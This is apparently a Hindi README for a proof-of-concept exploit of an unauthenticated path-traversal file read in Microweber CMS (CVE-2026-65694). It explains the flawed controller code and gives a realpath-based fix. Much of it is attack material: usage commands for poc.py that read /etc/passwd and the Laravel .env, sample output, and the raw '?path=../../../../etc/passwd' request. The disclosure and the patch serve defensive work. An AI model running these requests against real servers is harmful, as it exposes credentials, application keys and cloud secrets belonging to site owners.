
CVE-2026-65694 के लिए PoC — Microweber CMS (<=2.0.20) में बिना प्रमाणीकरण के पाथ ट्रैवर्सल → मनमानी फ़ाइल पढ़ना (.env / secrets)
यह CVE-2026-65694 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट है, जो Microweber CMS में बिना प्रमाणीकरण के पाथ-ट्रैवर्सल → मनमानी फ़ाइल पढ़ने (arbitrary file read) की समस्या है।
एक बिना प्रमाणीकृत हमलावर उन सभी फ़ाइलों को पढ़ सकता है जिन तक वेब-सर्वर उपयोगकर्ता की पहुँच है — Laravel .env (APP_KEY, DB क्रेडेंशियल, मेल/क्लाउड सीक्रेट), /etc/passwd, लॉग्स, कुंजियाँ, गैर-.php कॉन्फ़िगरेशन, आदि — सार्वजनिक GET /userfiles/{path} रूट के माध्यम से।
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)master (कमजोर लाइन अभी भी मौजूद है)src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php
public function serveFromUserfiles(Request $request)
{
$path = $request->path; // <-- property read, NOT $request->path()
$path = normalize_path(userfiles_path() . $path, false); // <-- normalize_path() does NOT strip ".."
return $this->sendResponse($path, $request);
}
रूट बिना प्रमाणीकरण के पंजीकृत है:
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');
दो समस्याएँ मिलकर इसका कारण बनती हैं:
$request->path (प्रॉपर्टी एक्सेस, $request->path() मेथड नहीं) Laravel के Request::__get → Arr::get($this->all(), 'path', fn() => $this->route('path')) के माध्यम से रिज़ॉल्व होता है। इसलिए एक ?path= क्वेरी पैरामीटर {path} रूट सेगमेंट को ओवरराइड कर देता है — और क्वेरी मान ब्राउज़र/सर्वर द्वारा लागू URL-पथ के .. नॉर्मलाइज़ेशन के अधीन नहीं होते।normalize_path() केवल स्लैश को समेटता है; यह .. को कभी नहीं हटाता या रिज़ॉल्व नहीं करता, और यह जाँच भी नहीं करता कि रिज़ॉल्व किया गया पथ userfiles_path() के अंदर ही रहे। PHP की फ़ाइल परत फिर फाइलसिस्टम पर .. अनुक्रमों को रिज़ॉल्व कर देती है।कंट्रोलर केवल .php, .phtml और .php7 एक्सटेंशन को ब्लॉक करता है (skip_ext), इसलिए PHP सोर्स सीधे पढ़ा नहीं जा सकता — लेकिन बाकी सब कुछ पढ़ा जा सकता है (.env, /etc/passwd, लॉग्स, कुंजियाँ, SQLite डेटाबेस, JSON/YAML कॉन्फ़िग, …)।
pip install -r requirements.txt
यह उन सभी डिप्लॉयमेंट पर पहुँच योग्य है जो अनुशंसित public/ डॉक्यूमेंट रूट का उपयोग करते हैं (Microweber के साथ आने वाला public/.htaccess, या nginx try_files $uri /index.php फ्रंट कंट्रोलर), जहाँ userfiles/ वेब रूट के बाहर होती है और /userfiles/* को Laravel राउटर पर भेजा जाता है।
तीन क्रियाएँ:
python3 poc.py -u http://TARGET --check # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt # download a file to disk
ट्रैवर्सल गहराई स्वतः पता लगाई जाती है (जब तक फ़ाइल प्राप्त न हो जाए ../ बढ़ाते हुए); --depth N से इसे ओवरराइड करें। --proxy http://127.0.0.1:8080 के साथ Burp के माध्यम से रूट करें। कच्चे अनुरोध के लिए -v जोड़ें।
$ python3 poc.py -u http://target:8080 --check
Microweber CMS - Unauthenticated Arbitrary File Read
CVE-2026-65694 ( GET /userfiles/ ?path= traversal )
by Bobur Abdugafforov
[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)
$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)
अंतर्निहित अनुरोध बस यह है:
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target
बिना प्रमाणीकरण के मनमानी फ़ाइल पढ़ना। Laravel .env के लीक होने से APP_KEY (सत्र/कुकी जालसाजी), डेटाबेस क्रेडेंशियल, मेल पासवर्ड और क्लाउड कुंजियाँ प्राप्त होती हैं — प्रभावी रूप से इंस्टेंस के सीक्रेट्स से पूर्ण समझौता।
इनपुट प्रॉपर्टी के बजाय बाउंड रूट पैरामीटर पढ़ें, realpath() से कैननिकलाइज़ करें, और सत्यापित करें कि रिज़ॉल्व किया गया पथ userfiles_path() के अंदर ही रहे:
public function serveFromUserfiles(Request $request)
{
$requested = (string) $request->route('path');
$base = realpath(userfiles_path());
$path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
abort_if($base === false || $path === false
|| strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
return $this->sendResponse($path, $request);
}
इसे Bobur Abdugafforov द्वारा खोजा और रिपोर्ट किया गया। CVE-2026-65694 VulnCheck के माध्यम से आवंटित किया गया।
केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उपयोग के लिए। उन सिस्टमों के विरुद्ध उपयोग न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है।
| फ़्लैग | क्रिया |
|---|
--check | बताएँ कि लक्ष्य कमजोर है या नहीं (हाँ/नहीं), बिना डेटा डंप किए |
-r, --read FILE | फ़ाइल पढ़ें और उसे stdout पर प्रिंट करें |
-d, --download FILE | फ़ाइल पढ़ें और उसे स्थानीय रूप से सहेजें (-o/--output नाम सेट करता है) |